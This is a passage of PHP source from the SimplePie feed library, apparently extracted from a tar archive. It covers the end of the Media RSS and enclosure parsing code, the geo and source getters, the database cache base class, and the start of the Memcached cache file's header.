									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
								}
								if (is_array($restrictions))
								{
									$restrictions = array_values(array_unique($restrictions));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
								{
									$restriction_relationship = null;
									$restriction_type = null;
									$restriction_value = null;
									if (isset($restriction['attribs']['']['relationship']))
									{
										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['attribs']['']['type']))
									{
										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['data']))
									{
										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
								}
								if (is_array($restrictions))
								{
									$restrictions = array_values(array_unique($restrictions));
								}
							}
							else
							{
								$restrictions = $restrictions_parent;
							}

							// THUMBNAILS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
								{
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
								if (is_array($thumbnails))
								{
									$thumbnails = array_values(array_unique($thumbnails));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
								{
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
								if (is_array($thumbnails))
								{
									$thumbnails = array_values(array_unique($thumbnails));
								}
							}
							else
							{
								$thumbnails = $thumbnails_parent;
							}

							// TITLES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
							{
								$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
							{
								$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$title = $title_parent;
							}

							$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
						}
					}
				}
			}

			// If we have standalone media:content tags, loop through them.
			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
			{
				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
				{
					if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
					{
						// Attributes
						$bitrate = null;
						$channels = null;
						$duration = null;
						$expression = null;
						$framerate = null;
						$height = null;
						$javascript = null;
						$lang = null;
						$length = null;
						$medium = null;
						$samplingrate = null;
						$type = null;
						$url = null;
						$width = null;

						// Elements
						$captions = null;
						$categories = null;
						$copyrights = null;
						$credits = null;
						$description = null;
						$hashes = null;
						$keywords = null;
						$player = null;
						$ratings = null;
						$restrictions = null;
						$thumbnails = null;
						$title = null;

						// Start checking the attributes of media:content
						if (isset($content['attribs']['']['bitrate']))
						{
							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['channels']))
						{
							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['duration']))
						{
							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$duration = $duration_parent;
						}
						if (isset($content['attribs']['']['expression']))
						{
							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['framerate']))
						{
							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['height']))
						{
							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['lang']))
						{
							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['fileSize']))
						{
							$length = intval($content['attribs']['']['fileSize']);
						}
						if (isset($content['attribs']['']['medium']))
						{
							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['samplingrate']))
						{
							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['type']))
						{
							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['width']))
						{
							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['url']))
						{
							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
						}
						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel

						// CAPTIONS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
							{
								$caption_type = null;
								$caption_lang = null;
								$caption_startTime = null;
								$caption_endTime = null;
								$caption_text = null;
								if (isset($caption['attribs']['']['type']))
								{
									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['lang']))
								{
									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['start']))
								{
									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['end']))
								{
									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['data']))
								{
									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
							}
							if (is_array($captions))
							{
								$captions = array_values(array_unique($captions));
							}
						}
						else
						{
							$captions = $captions_parent;
						}

						// CATEGORIES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
						{
							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
							{
								$term = null;
								$scheme = null;
								$label = null;
								if (isset($category['data']))
								{
									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($category['attribs']['']['scheme']))
								{
									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$scheme = 'http://search.yahoo.com/mrss/category_schema';
								}
								if (isset($category['attribs']['']['label']))
								{
									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
							}
						}
						if (is_array($categories) && is_array($categories_parent))
						{
							$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
						}
						elseif (is_array($categories))
						{
							$categories = array_values(array_unique($categories));
						}
						elseif (is_array($categories_parent))
						{
							$categories = array_values(array_unique($categories_parent));
						}
						else
						{
							$categories = null;
						}

						// COPYRIGHTS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
						{
							$copyright_url = null;
							$copyright_label = null;
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
							{
								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
							{
								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
						}
						else
						{
							$copyrights = $copyrights_parent;
						}

						// CREDITS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
							{
								$credit_role = null;
								$credit_scheme = null;
								$credit_name = null;
								if (isset($credit['attribs']['']['role']))
								{
									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($credit['attribs']['']['scheme']))
								{
									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$credit_scheme = 'urn:ebu';
								}
								if (isset($credit['data']))
								{
									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
							}
							if (is_array($credits))
							{
								$credits = array_values(array_unique($credits));
							}
						}
						else
						{
							$credits = $credits_parent;
						}

						// DESCRIPTION
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
						{
							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$description = $description_parent;
						}

						// HASHES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
							{
								$value = null;
								$algo = null;
								if (isset($hash['data']))
								{
									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($hash['attribs']['']['algo']))
								{
									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$algo = 'md5';
								}
								$hashes[] = $algo.':'.$value;
							}
							if (is_array($hashes))
							{
								$hashes = array_values(array_unique($hashes));
							}
						}
						else
						{
							$hashes = $hashes_parent;
						}

						// KEYWORDS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
						{
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
							{
								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
								foreach ($temp as $word)
								{
									$keywords[] = trim($word);
								}
								unset($temp);
							}
							if (is_array($keywords))
							{
								$keywords = array_values(array_unique($keywords));
							}
						}
						else
						{
							$keywords = $keywords_parent;
						}

						// PLAYER
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
						{
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
						}
						else
						{
							$player = $player_parent;
						}

						// RATINGS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
							{
								$rating_scheme = null;
								$rating_value = null;
								if (isset($rating['attribs']['']['scheme']))
								{
									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$rating_scheme = 'urn:simple';
								}
								if (isset($rating['data']))
								{
									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
							}
							if (is_array($ratings))
							{
								$ratings = array_values(array_unique($ratings));
							}
						}
						else
						{
							$ratings = $ratings_parent;
						}

						// RESTRICTIONS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
							{
								$restriction_relationship = null;
								$restriction_type = null;
								$restriction_value = null;
								if (isset($restriction['attribs']['']['relationship']))
								{
									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($restriction['attribs']['']['type']))
								{
									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($restriction['data']))
								{
									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
							}
							if (is_array($restrictions))
							{
								$restrictions = array_values(array_unique($restrictions));
							}
						}
						else
						{
							$restrictions = $restrictions_parent;
						}

						// THUMBNAILS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
							{
								if (isset($thumbnail['attribs']['']['url'])) {
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
							}
							if (is_array($thumbnails))
							{
								$thumbnails = array_values(array_unique($thumbnails));
							}
						}
						else
						{
							$thumbnails = $thumbnails_parent;
						}

						// TITLES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
						{
							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$title = $title_parent;
						}

						$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
					}
				}
			}

			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					if (isset($link['attribs']['']['type']))
					{
						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($link['attribs']['']['length']))
					{
						$length = intval($link['attribs']['']['length']);
					}
					if (isset($link['attribs']['']['title']))
					{
						$title = $this->sanitize($link['attribs']['']['title'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$title = $title_parent;
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width));
				}
			}

			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					if (isset($link['attribs']['']['type']))
					{
						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($link['attribs']['']['length']))
					{
						$length = intval($link['attribs']['']['length']);
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
				}
			}

			if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure'))
			{
				if (isset($enclosure[0]['attribs']['']['url']))
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
					$url = $this->feed->sanitize->https_url($url);
					if (isset($enclosure[0]['attribs']['']['type']))
					{
						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($enclosure[0]['attribs']['']['length']))
					{
						$length = intval($enclosure[0]['attribs']['']['length']);
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
				}
			}

			if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
			{
				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
				$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
			}

			$this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
		}
		if (!empty($this->data['enclosures']))
		{
			return $this->data['enclosures'];
		}

		return null;
	}

	/**
	 * Get the latitude coordinates for the item
	 *
	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
	 *
	 * Uses `<geo:lat>` or `<georss:point>`
	 *
	 * @since 1.0
	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
	 * @link http://www.georss.org/ GeoRSS
	 * @return string|null
	 */
	public function get_latitude()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[1];
		}

		return null;
	}

	/**
	 * Get the longitude coordinates for the item
	 *
	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
	 *
	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
	 *
	 * @since 1.0
	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
	 * @link http://www.georss.org/ GeoRSS
	 * @return string|null
	 */
	public function get_longitude()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
		{
			return (float) $return[0]['data'];
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[2];
		}

		return null;
	}

	/**
	 * Get the `<atom:source>` for the item
	 *
	 * @since 1.1
	 * @return SimplePie_Source|null
	 */
	public function get_source()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
		{
			return $this->registry->create('Source', array($this, $return[0]));
		}

		return null;
	}
}
Cache/DB.php000066600000011166151234101160006550 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Base class for database-based caches
 *
 * @package SimplePie
 * @subpackage Caching
 */
abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base
{
	/**
	 * Helper for database conversion
	 *
	 * Converts a given {@see SimplePie} object into data to be stored
	 *
	 * @param SimplePie $data
	 * @return array First item is the serialized data for storage, second item is the unique ID for this item
	 */
	protected static function prepare_simplepie_object_for_cache($data)
	{
		$items = $data->get_items();
		$items_by_id = array();

		if (!empty($items))
		{
			foreach ($items as $item)
			{
				$items_by_id[$item->get_id()] = $item;
			}

			if (count($items_by_id) !== count($items))
			{
				$items_by_id = array();
				foreach ($items as $item)
				{
					$items_by_id[$item->get_id(true)] = $item;
				}
			}

			if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0];
			}
			else
			{
				$channel = null;
			}

			if ($channel !== null)
			{
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']);
				}
			}
			if (isset($data->data['items']))
			{
				unset($data->data['items']);
			}
			if (isset($data->data['ordered_items']))
			{
				unset($data->data['ordered_items']);
			}
		}
		return array(serialize($data->data), $items_by_id);
	}
}
Cache/Memcached.php000066600000012412151234101160010124 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package    SimplePie
 * @subpackage Caching
 * @author     Paul L. McNeely
